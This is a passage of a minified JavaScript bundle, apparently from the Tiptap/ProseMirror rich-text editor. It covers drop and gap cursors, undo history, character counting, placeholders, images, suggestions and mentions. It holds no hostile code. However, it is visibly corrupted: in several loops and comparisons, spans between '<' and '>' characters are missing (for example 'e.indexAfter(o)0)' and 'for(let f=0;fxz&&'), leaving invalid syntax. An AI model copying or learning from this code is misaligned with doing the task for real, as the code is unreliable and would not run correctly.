m=u.getBoundingClientRect(),g=m.width/u.offsetWidth,y=m.height/u.offsetHeight;h=m.left-u.scrollLeft*g,f=m.top-u.scrollTop*y}this.element.style.left=(r.left-h)/o+"px",this.element.style.top=(r.top-f)/c+"px",this.element.style.width=(r.right-r.left)/o+"px",this.element.style.height=(r.bottom-r.top)/c+"px"}scheduleRemoval(e){clearTimeout(this.timeout),this.timeout=setTimeout(()=>this.setCursor(null),e)}dragover(e){if(!this.editorView.editable)return;let n=this.editorView.posAtCoords({left:e.clientX,top:e.clientY}),r=n&&n.inside>=0&&this.editorView.state.doc.nodeAt(n.inside),a=r&&r.type.spec.disableDropCursor,i=typeof a=="function"?a(this.editorView,n,e):a;if(n&&!i){let o=n.pos;if(this.editorView.dragging&&this.editorView.dragging.slice){let c=fS(this.editorView.state.doc,o,this.editorView.dragging.slice);c!=null&&(o=c)}this.setCursor(o),this.scheduleRemoval(5e3)}}dragend(){this.scheduleRemoval(20)}drop(){this.scheduleRemoval(20)}dragleave(e){this.editorView.dom.contains(e.relatedTarget)||this.setCursor(null)}}class fn extends rt{constructor(e){super(e,e)}map(e,n){let r=e.resolve(n.map(this.head));return fn.valid(r)?new fn(r):rt.near(r)}content(){return Ie.empty}eq(e){return e instanceof fn&&e.head==this.head}toJSON(){return{type:"gapcursor",pos:this.head}}static fromJSON(e,n){if(typeof n.pos!="number")throw new RangeError("Invalid input for GapCursor.fromJSON");return new fn(e.resolve(n.pos))}getBookmark(){return new K0(this.anchor)}static valid(e){let n=e.parent;if(n.isTextblock||!oz(e)||!lz(e))return!1;let r=n.type.spec.allowGapCursor;if(r!=null)return r;let a=n.contentMatchAt(e.index()).defaultType;return a&&a.isTextblock}static findGapCursorFrom(e,n,r=!1){e:for(;;){if(!r&&fn.valid(e))return e;let a=e.pos,i=null;for(let o=e.depth;;o--){let c=e.node(o);if(n>0?e.indexAfter(o)0){i=c.child(n>0?e.indexAfter(o):e.index(o)-1);break}else if(o==0)return null;a+=n;let u=e.doc.resolve(a);if(fn.valid(u))return u}for(;;){let o=n>0?i.firstChild:i.lastChild;if(!o){if(i.isAtom&&!i.isText&&!Xe.isSelectable(i)){e=e.doc.resolve(a+i.nodeSize*n),r=!1;continue e}break}i=o,a+=n;let c=e.doc.resolve(a);if(fn.valid(c))return c}return null}}}fn.prototype.visible=!1;fn.findFrom=fn.findGapCursorFrom;rt.jsonID("gapcursor",fn);class K0{constructor(e){this.pos=e}map(e){return new K0(e.map(this.pos))}resolve(e){let n=e.resolve(this.pos);return fn.valid(n)?new fn(n):rt.near(n)}}function NC(t){return t.isAtom||t.spec.isolating||t.spec.createGapCursor}function oz(t){for(let e=t.depth;e>=0;e--){let n=t.index(e),r=t.node(e);if(n==0){if(r.type.spec.isolating)return!0;continue}for(let a=r.child(n-1);;a=a.lastChild){if(a.childCount==0&&!a.inlineContent||NC(a.type))return!0;if(a.inlineContent)return!1}}return!0}function lz(t){for(let e=t.depth;e>=0;e--){let n=t.indexAfter(e),r=t.node(e);if(n==r.childCount){if(r.type.spec.isolating)return!0;continue}for(let a=r.child(n);;a=a.firstChild){if(a.childCount==0&&!a.inlineContent||NC(a.type))return!0;if(a.inlineContent)return!1}}return!0}function cz(){return new Kt({props:{decorations:fz,createSelectionBetween(t,e,n){return e.pos==n.pos&&fn.valid(n)?new fn(n):null},handleClick:uz,handleKeyDown:dz,handleDOMEvents:{beforeinput:hz}}})}const dz=k0({ArrowLeft:Ku("horiz",-1),ArrowRight:Ku("horiz",1),ArrowUp:Ku("vert",-1),ArrowDown:Ku("vert",1)});function Ku(t,e){const n=t=="vert"?e>0?"down":"up":e>0?"right":"left";return function(r,a,i){let o=r.selection,c=e>0?o.$to:o.$from,u=o.empty;if(o instanceof Ze){if(!i.endOfTextblock(n)||c.depth==0)return!1;u=!1,c=r.doc.resolve(e>0?c.after():c.before())}let h=fn.findGapCursorFrom(c,e,u);return h?(a&&a(r.tr.setSelection(new fn(h))),!0):!1}}function uz(t,e,n){if(!t||!t.editable)return!1;let r=t.state.doc.resolve(e);if(!fn.valid(r))return!1;let a=t.posAtCoords({left:n.clientX,top:n.clientY});return a&&a.inside>-1&&Xe.isSelectable(t.state.doc.nodeAt(a.inside))?!1:(t.dispatch(t.state.tr.setSelection(new fn(r))),!0)}function hz(t,e){if(e.inputType!="insertCompositionText"||!(t.state.selection instanceof fn))return!1;let{$from:n}=t.state.selection,r=n.parent.contentMatchAt(n.index()).findWrapping(t.state.schema.nodes.text);if(!r)return!1;let a=be.empty;for(let o=r.length-1;o>=0;o--)a=be.from(r[o].createAndFill(null,a));let i=t.state.tr.replace(n.pos,n.pos,new Ie(a,0,0));return i.setSelection(Ze.near(i.doc.resolve(n.pos+1))),t.dispatch(i),!1}function fz(t){if(!(t.selection instanceof fn))return null;let e=document.createElement("div");return e.className="ProseMirror-gapcursor",$t.create(t.doc,[An.widget(t.selection.head,e,{key:"gapcursor"})])}var sf=200,Vn=function(){};Vn.prototype.append=function(e){return e.length?(e=Vn.from(e),!this.length&&e||e.length=n?Vn.empty:this.sliceInner(Math.max(0,e),Math.min(this.length,n))};Vn.prototype.get=function(e){if(!(e<0||e>=this.length))return this.getInner(e)};Vn.prototype.forEach=function(e,n,r){n===void 0&&(n=0),r===void 0&&(r=this.length),n<=r?this.forEachInner(e,n,r,0):this.forEachInvertedInner(e,n,r,0)};Vn.prototype.map=function(e,n,r){n===void 0&&(n=0),r===void 0&&(r=this.length);var a=[];return this.forEach(function(i,o){return a.push(e(i,o))},n,r),a};Vn.from=function(e){return e instanceof Vn?e:e&&e.length?new wC(e):Vn.empty};var wC=(function(t){function e(r){t.call(this),this.values=r}t&&(e.__proto__=t),e.prototype=Object.create(t&&t.prototype),e.prototype.constructor=e;var n={length:{configurable:!0},depth:{configurable:!0}};return e.prototype.flatten=function(){return this.values},e.prototype.sliceInner=function(a,i){return a==0&&i==this.length?this:new e(this.values.slice(a,i))},e.prototype.getInner=function(a){return this.values[a]},e.prototype.forEachInner=function(a,i,o,c){for(var u=i;u=o;u--)if(a(this.values[u],c+u)===!1)return!1},e.prototype.leafAppend=function(a){if(this.length+a.length<=sf)return new e(this.values.concat(a.flatten()))},e.prototype.leafPrepend=function(a){if(this.length+a.length<=sf)return new e(a.flatten().concat(this.values))},n.length.get=function(){return this.values.length},n.depth.get=function(){return 0},Object.defineProperties(e.prototype,n),e})(Vn);Vn.empty=new wC([]);var pz=(function(t){function e(n,r){t.call(this),this.left=n,this.right=r,this.length=n.length+r.length,this.depth=Math.max(n.depth,r.depth)+1}return t&&(e.__proto__=t),e.prototype=Object.create(t&&t.prototype),e.prototype.constructor=e,e.prototype.flatten=function(){return this.left.flatten().concat(this.right.flatten())},e.prototype.getInner=function(r){return rc&&this.right.forEachInner(r,Math.max(a-c,0),Math.min(this.length,i)-c,o+c)===!1)return!1},e.prototype.forEachInvertedInner=function(r,a,i,o){var c=this.left.length;if(a>c&&this.right.forEachInvertedInner(r,a-c,Math.max(i,c)-c,o+c)===!1||i=i?this.right.slice(r-i,a-i):this.left.slice(r,i).append(this.right.slice(0,a-i))},e.prototype.leafAppend=function(r){var a=this.right.leafAppend(r);if(a)return new e(this.left,a)},e.prototype.leafPrepend=function(r){var a=this.left.leafPrepend(r);if(a)return new e(a,this.right)},e.prototype.appendInner=function(r){return this.left.depth>=Math.max(this.right.depth,r.depth)+1?new e(this.left,new e(this.right,r)):new e(this,r)},e})(Vn);const mz=500;class js{constructor(e,n){this.items=e,this.eventCount=n}popEvent(e,n){if(this.eventCount==0)return null;let r=this.items.length;for(;;r--)if(this.items.get(r-1).selection){--r;break}let a,i;n&&(a=this.remapping(r,this.items.length),i=a.maps.length);let o=e.tr,c,u,h=[],f=[];return this.items.forEach((m,g)=>{if(!m.step){a||(a=this.remapping(r,g+1),i=a.maps.length),i--,f.push(m);return}if(a){f.push(new Xa(m.map));let y=m.step.map(a.slice(i)),N;y&&o.maybeStep(y).doc&&(N=o.mapping.maps[o.mapping.maps.length-1],h.push(new Xa(N,void 0,void 0,h.length+f.length))),i--,N&&a.appendMap(N,i)}else o.maybeStep(m.step);if(m.selection)return c=a?m.selection.map(a.slice(i)):m.selection,u=new js(this.items.slice(0,r).append(f.reverse().concat(h)),this.eventCount-1),!1},this.items.length,0),{remaining:u,transform:o,selection:c}}addTransform(e,n,r,a){let i=[],o=this.eventCount,c=this.items,u=!a&&c.length?c.get(c.length-1):null;for(let f=0;fxz&&(c=gz(c,h),o-=h),new js(c.append(i),o)}remapping(e,n){let r=new rd;return this.items.forEach((a,i)=>{let o=a.mirrorOffset!=null&&i-a.mirrorOffset>=e?r.maps.length-a.mirrorOffset:void 0;r.appendMap(a.map,o)},e,n),r}addMaps(e){return this.eventCount==0?this:new js(this.items.append(e.map(n=>new Xa(n))),this.eventCount)}rebased(e,n){if(!this.eventCount)return this;let r=[],a=Math.max(0,this.items.length-n),i=e.mapping,o=e.steps.length,c=this.eventCount;this.items.forEach(g=>{g.selection&&c--},a);let u=n;this.items.forEach(g=>{let y=i.getMirror(--u);if(y==null)return;o=Math.min(o,y);let N=i.maps[y];if(g.step){let w=e.steps[y].invert(e.docs[y]),v=g.selection&&g.selection.map(i.slice(u+1,y));v&&c++,r.push(new Xa(N,w,v))}else r.push(new Xa(N))},a);let h=[];for(let g=n;gmz&&(m=m.compress(this.items.length-r.length)),m}emptyItemCount(){let e=0;return this.items.forEach(n=>{n.step||e++}),e}compress(e=this.items.length){let n=this.remapping(0,e),r=n.maps.length,a=[],i=0;return this.items.forEach((o,c)=>{if(c>=e)a.push(o),o.selection&&i++;else if(o.step){let u=o.step.map(n.slice(r)),h=u&&u.getMap();if(r--,h&&n.appendMap(h,r),u){let f=o.selection&&o.selection.map(n.slice(r));f&&i++;let m=new Xa(h.invert(),u,f),g,y=a.length-1;(g=a.length&&a[y].merge(m))?a[y]=g:a.push(m)}}else o.map&&r--},this.items.length,0),new js(Vn.from(a.reverse()),i)}}js.empty=new js(Vn.empty,0);function gz(t,e){let n;return t.forEach((r,a)=>{if(r.selection&&e--==0)return n=a,!1}),t.slice(n)}let Xa=class jC{constructor(e,n,r,a){this.map=e,this.step=n,this.selection=r,this.mirrorOffset=a}merge(e){if(this.step&&e.step&&!e.selection){let n=e.step.merge(this.step);if(n)return new jC(n.getMap().invert(),n,this.selection)}}};class ri{constructor(e,n,r,a,i){this.done=e,this.undone=n,this.prevRanges=r,this.prevTime=a,this.prevComposition=i}}const xz=20;function yz(t,e,n,r){let a=n.getMeta(mo),i;if(a)return a.historyState;n.getMeta(Nz)&&(t=new ri(t.done,t.undone,null,0,-1));let o=n.getMeta("appendedTransaction");if(n.steps.length==0)return t;if(o&&o.getMeta(mo))return o.getMeta(mo).redo?new ri(t.done.addTransform(n,void 0,r,sh(e)),t.undone,BN(n.mapping.maps),t.prevTime,t.prevComposition):new ri(t.done,t.undone.addTransform(n,void 0,r,sh(e)),null,t.prevTime,t.prevComposition);if(n.getMeta("addToHistory")!==!1&&!(o&&o.getMeta("addToHistory")===!1)){let c=n.getMeta("composition"),u=t.prevTime==0||!o&&t.prevComposition!=c&&(t.prevTime<(n.time||0)-r.newGroupDelay||!bz(n,t.prevRanges)),h=o?gg(t.prevRanges,n.mapping):BN(n.mapping.maps);return new ri(t.done.addTransform(n,u?e.selection.getBookmark():void 0,r,sh(e)),js.empty,h,n.time,c??t.prevComposition)}else return(i=n.getMeta("rebased"))?new ri(t.done.rebased(n,i),t.undone.rebased(n,i),gg(t.prevRanges,n.mapping),t.prevTime,t.prevComposition):new ri(t.done.addMaps(n.mapping.maps),t.undone.addMaps(n.mapping.maps),gg(t.prevRanges,n.mapping),t.prevTime,t.prevComposition)}function bz(t,e){if(!e)return!1;if(!t.docChanged)return!0;let n=!1;return t.mapping.maps[0].forEach((r,a)=>{for(let i=0;i=e[i]&&(n=!0)}),n}function BN(t){let e=[];for(let n=t.length-1;n>=0&&e.length==0;n--)t[n].forEach((r,a,i,o)=>e.push(i,o));return e}function gg(t,e){if(!t)return null;let n=[];for(let r=0;r{let a=mo.getState(n);if(!a||(t?a.undone:a.done).eventCount==0)return!1;if(r){let i=vz(a,n,t);i&&r(e?i.scrollIntoView():i)}return!0}}const SC=kC(!1,!0),CC=kC(!0,!0);mn.create({name:"characterCount",addOptions(){return{limit:null,mode:"textSize",textCounter:t=>t.length,wordCounter:t=>t.split(" ").filter(e=>e!=="").length}},addStorage(){return{characters:()=>0,words:()=>0}},onBeforeCreate(){this.storage.characters=t=>{const e=(t==null?void 0:t.node)||this.editor.state.doc;if(((t==null?void 0:t.mode)||this.options.mode)==="textSize"){const r=e.textBetween(0,e.content.size,void 0," ");return this.options.textCounter(r)}return e.nodeSize},this.storage.words=t=>{const e=(t==null?void 0:t.node)||this.editor.state.doc,n=e.textBetween(0,e.content.size," "," ");return this.options.wordCounter(n)}},addProseMirrorPlugins(){let t=!1;return[new Kt({key:new tn("characterCount"),appendTransaction:(e,n,r)=>{if(t)return;const a=this.options.limit;if(a==null||a===0){t=!0;return}const i=this.storage.characters({node:r.doc});if(i>a){const o=i-a,c=0,u=o;console.warn(`[CharacterCount] Initial content exceeded limit of ${a} characters. Content was automatically trimmed.`);const h=r.tr.deleteRange(c,u);return t=!0,h}t=!0},filterTransaction:(e,n)=>{const r=this.options.limit;if(!e.docChanged||r===0||r===null||r===void 0)return!0;const a=this.storage.characters({node:n.doc}),i=this.storage.characters({node:e.doc});if(i<=r||a>r&&i>r&&i<=a)return!0;if(a>r&&i>r&&i>a||!e.getMeta("paste"))return!1;const c=e.selection.$head.pos,u=i-r,h=c-u,f=c;return e.deleteRange(h,f),!(this.storage.characters({node:e.doc})>r)}})]}});var jz=mn.create({name:"dropCursor",addOptions(){return{color:"currentColor",width:1,class:void 0}},addProseMirrorPlugins(){return[az(this.options)]}});mn.create({name:"focus",addOptions(){return{className:"has-focus",mode:"all"}},addProseMirrorPlugins(){return[new Kt({key:new tn("focus"),props:{decorations:({doc:t,selection:e})=>{const{isEditable:n,isFocused:r}=this.editor,{anchor:a}=e,i=[];if(!n||!r)return $t.create(t,[]);let o=0;this.options.mode==="deepest"&&t.descendants((u,h)=>{if(u.isText)return;if(!(a>=h&&a<=h+u.nodeSize-1))return!1;o+=1});let c=0;return t.descendants((u,h)=>{if(u.isText||!(a>=h&&a<=h+u.nodeSize-1))return!1;if(c+=1,this.options.mode==="deepest"&&o-c>0||this.options.mode==="shallowest"&&c>1)return this.options.mode==="deepest";i.push(An.node(h,h+u.nodeSize,{class:this.options.className}))}),$t.create(t,i)}}})]}});var kz=mn.create({name:"gapCursor",addProseMirrorPlugins(){return[cz()]},extendNodeSchema(t){var e;const n={name:t.name,options:t.options,storage:t.storage};return{allowGapCursor:(e=jt(Ke(t,"allowGapCursor",n)))!=null?e:null}}}),HN="placeholder";function Sz(t){return t.replace(/\s+/g,"-").replace(/[^a-zA-Z0-9-]/g,"").replace(/^[0-9-]+/,"").replace(/^-+/,"").toLowerCase()}var Cz=mn.create({name:"placeholder",addOptions(){return{emptyEditorClass:"is-editor-empty",emptyNodeClass:"is-empty",dataAttribute:HN,placeholder:"Write something …",showOnlyWhenEditable:!0,showOnlyCurrent:!0,includeChildren:!1}},addProseMirrorPlugins(){const t=this.options.dataAttribute?`data-${Sz(this.options.dataAttribute)}`:`data-${HN}`;return[new Kt({key:new tn("placeholder"),props:{decorations:({doc:e,selection:n})=>{const r=this.editor.isEditable||!this.options.showOnlyWhenEditable,{anchor:a}=n,i=[];if(!r)return null;const o=this.editor.isEmpty;return e.descendants((c,u)=>{const h=a>=u&&a<=u+c.nodeSize,f=!c.isLeaf&&Of(c);if((h||!this.options.showOnlyCurrent)&&f){const m=[this.options.emptyNodeClass];o&&m.push(this.options.emptyEditorClass);const g=An.node(u,u+c.nodeSize,{class:m.join(" "),[t]:typeof this.options.placeholder=="function"?this.options.placeholder({editor:this.editor,node:c,pos:u,hasAnchor:h}):this.options.placeholder});i.push(g)}return this.options.includeChildren}),$t.create(e,i)}}})]}});mn.create({name:"selection",addOptions(){return{className:"selection"}},addProseMirrorPlugins(){const{editor:t,options:e}=this;return[new Kt({key:new tn("selection"),props:{decorations(n){return n.selection.empty||t.isFocused||!t.isEditable||A2(n.selection)||t.view.dragging?null:$t.create(n.doc,[An.inline(n.selection.from,n.selection.to,{class:e.className})])}}})]}});function WN({types:t,node:e}){return e&&Array.isArray(t)&&t.includes(e.type)||(e==null?void 0:e.type)===t}var Ez=mn.create({name:"trailingNode",addOptions(){return{node:void 0,notAfter:[]}},addProseMirrorPlugins(){var t;const e=new tn(this.name),n=this.options.node||((t=this.editor.schema.topNodeType.contentMatch.defaultType)==null?void 0:t.name)||"paragraph",r=Object.entries(this.editor.schema.nodes).map(([,a])=>a).filter(a=>(this.options.notAfter||[]).concat(n).includes(a.name));return[new Kt({key:e,appendTransaction:(a,i,o)=>{const{doc:c,tr:u,schema:h}=o,f=e.getState(o),m=c.content.size,g=h.nodes[n];if(f)return u.insert(m,g.create())},state:{init:(a,i)=>{const o=i.tr.doc.lastChild;return!WN({node:o,types:r})},apply:(a,i)=>{if(!a.docChanged||a.getMeta("__uniqueIDTransaction"))return i;const o=a.doc.lastChild;return!WN({node:o,types:r})}}})]}}),Tz=mn.create({name:"undoRedo",addOptions(){return{depth:100,newGroupDelay:500}},addCommands(){return{undo:()=>({state:t,dispatch:e})=>SC(t,e),redo:()=>({state:t,dispatch:e})=>CC(t,e)}},addProseMirrorPlugins(){return[wz(this.options)]},addKeyboardShortcuts(){return{"Mod-z":()=>this.editor.commands.undo(),"Shift-Mod-z":()=>this.editor.commands.redo(),"Mod-y":()=>this.editor.commands.redo(),"Mod-я":()=>this.editor.commands.undo(),"Shift-Mod-я":()=>this.editor.commands.redo()}}}),Mz=mn.create({name:"starterKit",addExtensions(){var t,e,n,r;const a=[];return this.options.bold!==!1&&a.push(Z_.configure(this.options.bold)),this.options.blockquote!==!1&&a.push(G_.configure(this.options.blockquote)),this.options.bulletList!==!1&&a.push(uC.configure(this.options.bulletList)),this.options.code!==!1&&a.push(n7.configure(this.options.code)),this.options.codeBlock!==!1&&a.push(a7.configure(this.options.codeBlock)),this.options.document!==!1&&a.push(i7.configure(this.options.document)),this.options.dropcursor!==!1&&a.push(jz.configure(this.options.dropcursor)),this.options.gapcursor!==!1&&a.push(kz.configure(this.options.gapcursor)),this.options.hardBreak!==!1&&a.push(o7.configure(this.options.hardBreak)),this.options.heading!==!1&&a.push(l7.configure(this.options.heading)),this.options.undoRedo!==!1&&a.push(Tz.configure(this.options.undoRedo)),this.options.horizontalRule!==!1&&a.push(c7.configure(this.options.horizontalRule)),this.options.italic!==!1&&a.push(p7.configure(this.options.italic)),this.options.listItem!==!1&&a.push(hC.configure(this.options.listItem)),this.options.listKeymap!==!1&&a.push(yC.configure((t=this.options)==null?void 0:t.listKeymap)),this.options.link!==!1&&a.push($7.configure((e=this.options)==null?void 0:e.link)),this.options.orderedList!==!1&&a.push(vC.configure(this.options.orderedList)),this.options.paragraph!==!1&&a.push(Z7.configure(this.options.paragraph)),this.options.strike!==!1&&a.push(nz.configure(this.options.strike)),this.options.text!==!1&&a.push(rz.configure(this.options.text)),this.options.underline!==!1&&a.push(sz.configure((n=this.options)==null?void 0:n.underline)),this.options.trailingNode!==!1&&a.push(Ez.configure((r=this.options)==null?void 0:r.trailingNode)),a}}),Az=Mz,Iz=/(?:^|\s)(!\[(.+|:?)]\((\S+)(?:(?:\s+)["'](\S+)["'])?\))$/,Rz=Cn.create({name:"image",addOptions(){return{inline:!1,allowBase64:!1,HTMLAttributes:{},resize:!1}},inline(){return this.options.inline},group(){return this.options.inline?"inline":"block"},draggable:!0,addAttributes(){return{src:{default:null},alt:{default:null},title:{default:null},width:{default:null},height:{default:null}}},parseHTML(){return[{tag:this.options.allowBase64?"img[src]":'img[src]:not([src^="data:"])'}]},renderHTML({HTMLAttributes:t}){return["img",St(this.options.HTMLAttributes,t)]},parseMarkdown:(t,e)=>e.createNode("image",{src:t.href,title:t.title,alt:t.text}),renderMarkdown:t=>{var e,n,r,a,i,o;const c=(n=(e=t.attrs)==null?void 0:e.src)!=null?n:"",u=(a=(r=t.attrs)==null?void 0:r.alt)!=null?a:"",h=(o=(i=t.attrs)==null?void 0:i.title)!=null?o:"";return h?`![${u}](${c} "${h}")`:`![${u}](${c})`},addNodeView(){if(!this.options.resize||!this.options.resize.enabled||typeof document>"u")return null;const{directions:t,minWidth:e,minHeight:n,alwaysPreserveAspectRatio:r}=this.options.resize;return({node:a,getPos:i,HTMLAttributes:o,editor:c})=>{const u=document.createElement("img");Object.entries(o).forEach(([m,g])=>{if(g!=null)switch(m){case"width":case"height":break;default:u.setAttribute(m,g);break}}),u.src=o.src;const h=new D6({element:u,editor:c,node:a,getPos:i,onResize:(m,g)=>{u.style.width=`${m}px`,u.style.height=`${g}px`},onCommit:(m,g)=>{const y=i();y!==void 0&&this.editor.chain().setNodeSelection(y).updateAttributes(this.name,{width:m,height:g}).run()},onUpdate:(m,g,y)=>m.type===a.type,options:{directions:t,min:{width:e,height:n},preserveAspectRatio:r===!0}}),f=h.dom;return f.style.visibility="hidden",f.style.pointerEvents="none",u.onload=()=>{f.style.visibility="",f.style.pointerEvents=""},h}},addCommands(){return{setImage:t=>({commands:e})=>e.insertContent({type:this.name,attrs:t})}},addInputRules(){return[q2({find:Iz,type:this.type,getAttributes:t=>{const[,,e,n,r]=t;return{src:n,alt:e,title:r}}})]}}),Pz=Rz;function Oz(t){var e;const{char:n,allowSpaces:r,allowToIncludeChar:a,allowedPrefixes:i,startOfLine:o,$position:c}=t,u=r&&!a,h=_6(n),f=new RegExp(`\\s${h}$`),m=o?"^":"",g=a?"":h,y=u?new RegExp(`${m}${h}.*?(?=\\s${g}|$)`,"gm"):new RegExp(`${m}(?:^)?${h}[^\\s${g}]*`,"gm"),N=((e=c.nodeBefore)==null?void 0:e.isText)&&c.nodeBefore.text;if(!N)return null;const w=c.pos-N.length,v=Array.from(N.matchAll(y)).pop();if(!v||v.input===void 0||v.index===void 0)return null;const k=v.input.slice(Math.max(0,v.index-1),v.index),C=new RegExp(`^[${i==null?void 0:i.join("")}\0]?$`).test(k);if(i!==null&&!C)return null;const E=w+v.index;let T=E+v[0].length;return u&&f.test(N.slice(T-1,T+1))&&(v[0]+=" ",T+=1),E=c.pos?{range:{from:E,to:T},query:v[0].slice(n.length),text:v[0]}:null}var Dz=new tn("suggestion");function Lz({pluginKey:t=Dz,editor:e,char:n="@",allowSpaces:r=!1,allowToIncludeChar:a=!1,allowedPrefixes:i=[" "],startOfLine:o=!1,decorationTag:c="span",decorationClass:u="suggestion",decorationContent:h="",decorationEmptyClass:f="is-empty",command:m=()=>null,items:g=()=>[],render:y=()=>({}),allow:N=()=>!0,findSuggestionMatch:w=Oz,shouldShow:v}){let k;const C=y==null?void 0:y(),E=()=>{const L=e.state.selection.$anchor.pos,R=e.view.coordsAtPos(L),{top:D,right:z,bottom:Z,left:ne}=R;try{return new DOMRect(ne,D,z-ne,Z-D)}catch{return null}},T=(L,R)=>R?()=>{const D=t.getState(e.state),z=D==null?void 0:D.decorationId,Z=L.dom.querySelector(`[data-decoration-id="${z}"]`);return(Z==null?void 0:Z.getBoundingClientRect())||null}:E;function I(L,R){var D;try{const Z=t.getState(L.state),ne=Z!=null&&Z.decorationId?L.dom.querySelector(`[data-decoration-id="${Z.decorationId}"]`):null,fe={editor:e,range:(Z==null?void 0:Z.range)||{from:0,to:0},query:(Z==null?void 0:Z.query)||null,text:(Z==null?void 0:Z.text)||null,items:[],command:xe=>m({editor:e,range:(Z==null?void 0:Z.range)||{from:0,to:0},props:xe}),decorationNode:ne,clientRect:T(L,ne)};(D=C==null?void 0:C.onExit)==null||D.call(C,fe)}catch{}const z=L.state.tr.setMeta(R,{exit:!0});L.dispatch(z)}const O=new Kt({key:t,view(){return{update:async(L,R)=>{var D,z,Z,ne,fe,xe,$;const H=(D=this.key)==null?void 0:D.getState(R),oe=(z=this.key)==null?void 0:z.getState(L.state),P=H.active&&oe.active&&H.range.from!==oe.range.from,q=!H.active&&oe.active,B=H.active&&!oe.active,_=!q&&!B&&H.query!==oe.query,W=q||P&&_,le=_||P,J=B||P&&_;if(!W&&!le&&!J)return;const Y=J&&!W?H:oe,V=L.dom.querySelector(`[data-decoration-id="${Y.decorationId}"]`);k={editor:e,range:Y.range,query:Y.query,text:Y.text,items:[],command:re=>m({editor:e,range:Y.range,props:re}),decorationNode:V,clientRect:T(L,V)},W&&((Z=C==null?void 0:C.onBeforeStart)==null||Z.call(C,k)),le&&((ne=C==null?void 0:C.onBeforeUpdate)==null||ne.call(C,k)),(le||W)&&(k.items=await g({editor:e,query:Y.query})),J&&((fe=C==null?void 0:C.onExit)==null||fe.call(C,k)),le&&((xe=C==null?void 0:C.onUpdate)==null||xe.call(C,k)),W&&(($=C==null?void 0:C.onStart)==null||$.call(C,k))},destroy:()=>{var L;k&&((L=C==null?void 0:C.onExit)==null||L.call(C,k))}}},state:{init(){return{active:!1,range:{from:0,to:0},query:null,text:null,composing:!1}},apply(L,R,D,z){const{isEditable:Z}=e,{composing:ne}=e.view,{selection:fe}=L,{empty:xe,from:$}=fe,H={...R},oe=L.getMeta(t);if(oe&&oe.exit)return H.active=!1,H.decorationId=null,H.range={from:0,to:0},H.query=null,H.text=null,H;if(H.composing=ne,Z&&(xe||e.view.composing)){($R.range.to)&&!ne&&!R.composing&&(H.active=!1);const P=w({char:n,allowSpaces:r,allowToIncludeChar:a,allowedPrefixes:i,startOfLine:o,$position:fe.$from}),q=`id_${Math.floor(Math.random()*4294967295)}`;P&&N({editor:e,state:z,range:P.range,isActive:R.active})&&(!v||v({editor:e,range:P.range,query:P.query,text:P.text,transaction:L}))?(H.active=!0,H.decorationId=R.decorationId?R.decorationId:q,H.range=P.range,H.query=P.query,H.text=P.text):H.active=!1}else H.active=!1;return H.active||(H.decorationId=null,H.range={from:0,to:0},H.query=null,H.text=null),H}},props:{handleKeyDown(L,R){var D,z,Z,ne;const{active:fe,range:xe}=O.getState(L.state);if(!fe)return!1;if(R.key==="Escape"||R.key==="Esc"){const H=O.getState(L.state),oe=(D=k==null?void 0:k.decorationNode)!=null?D:null,P=oe??(H!=null&&H.decorationId?L.dom.querySelector(`[data-decoration-id="${H.decorationId}"]`):null);if(((z=C==null?void 0:C.onKeyDown)==null?void 0:z.call(C,{view:L,event:R,range:H.range}))||!1)return!0;const B={editor:e,range:H.range,query:H.query,text:H.text,items:[],command:_=>m({editor:e,range:H.range,props:_}),decorationNode:P,clientRect:P?()=>P.getBoundingClientRect()||null:null};return(Z=C==null?void 0:C.onExit)==null||Z.call(C,B),I(L,t),!0}return((ne=C==null?void 0:C.onKeyDown)==null?void 0:ne.call(C,{view:L,event:R,range:xe}))||!1},decorations(L){const{active:R,range:D,decorationId:z,query:Z}=O.getState(L);if(!R)return null;const ne=!(Z!=null&&Z.length),fe=[u];return ne&&fe.push(f),$t.create(L.doc,[An.inline(D.from,D.to,{nodeName:c,class:fe.join(" "),"data-decoration-id":z,"data-decoration-content":h})])}}});return O}function _z({editor:t,overrideSuggestionOptions:e,extensionName:n,char:r="@"}){const a=new tn;return{editor:t,char:r,pluginKey:a,command:({editor:i,range:o,props:c})=>{var u,h,f;const m=i.view.state.selection.$to.nodeAfter;((u=m==null?void 0:m.text)==null?void 0:u.startsWith(" "))&&(o.to+=1),i.chain().focus().insertContentAt(o,[{type:n,attrs:{...c,mentionSuggestionChar:r}},{type:"text",text:" "}]).run(),(f=(h=i.view.dom.ownerDocument.defaultView)==null?void 0:h.getSelection())==null||f.collapseToEnd()},allow:({state:i,range:o})=>{const c=i.doc.resolve(o.from),u=i.schema.nodes[n];return!!c.parent.type.contentMatch.matchType(u)},...e}}function EC(t){return(t.options.suggestions.length?t.options.suggestions:[t.options.suggestion]).map(e=>_z({editor:t.editor,overrideSuggestionOptions:e,extensionName:t.name,char:e.char}))}function UN(t,e){const n=EC(t),r=n.find(a=>a.char===e);return r||(n.length?n[0]:null)}var zz=Cn.create({name:"mention",priority:101,addOptions(){return{HTMLAttributes:{},renderText({node:t,suggestion:e}){var n,r;return`${(n=e==null?void 0:e.char)!=null?n:"@"}${(r=t.attrs.label)!=null?r:t.attrs.id}`},deleteTriggerWithBackspace:!1,renderHTML({options:t,node:e,suggestion:n}){var r,a;return["span",St(this.HTMLAttributes,t.HTMLAttributes),`${(r=n==null?void 0:n.char)!=null?r:"@"}${(a=e.attrs.label)!=null?a:e.attrs.id}`]},suggestions:[],suggestion:{}}},group:"inline",inline:!0,selectable:!1,atom:!0,addAttributes(){return{id:{default:null,parseHTML:t=>t.getAttribute("data-id"),renderHTML:t=>t.id?{"data-id":t.id}:{}},label:{default:null,parseHTML:t=>t.getAttribute("data-label"),renderHTML:t=>t.label?{"data-label":t.label}:{}},mentionSuggestionChar:{default:"@",parseHTML:t=>t.getAttribute("data-mention-suggestion-char"),renderHTML:t=>({"data-mention-suggestion-char":t.mentionSuggestionChar})}}},parseHTML(){return[{tag:`span[data-type="${this.name}"]`}]},renderHTML({node:t,HTMLAttributes:e}){const n=UN(this,t.attrs.mentionSuggestionChar);if(this.options.renderLabel!==void 0)return console.warn("renderLabel is deprecated use renderText and renderHTML instead"),["span",St({"data-type":this.name},this.options.HTMLAttributes,e),this.options.renderLabel({options:this.options,node:t,suggestion:n})];const r={...this.options};r.HTMLAttributes=St({"data-type":this.name},this.options.HTMLAttributes,e);const a=this.options.renderHTML({options:r,node:t,suggestion:n});return typeof 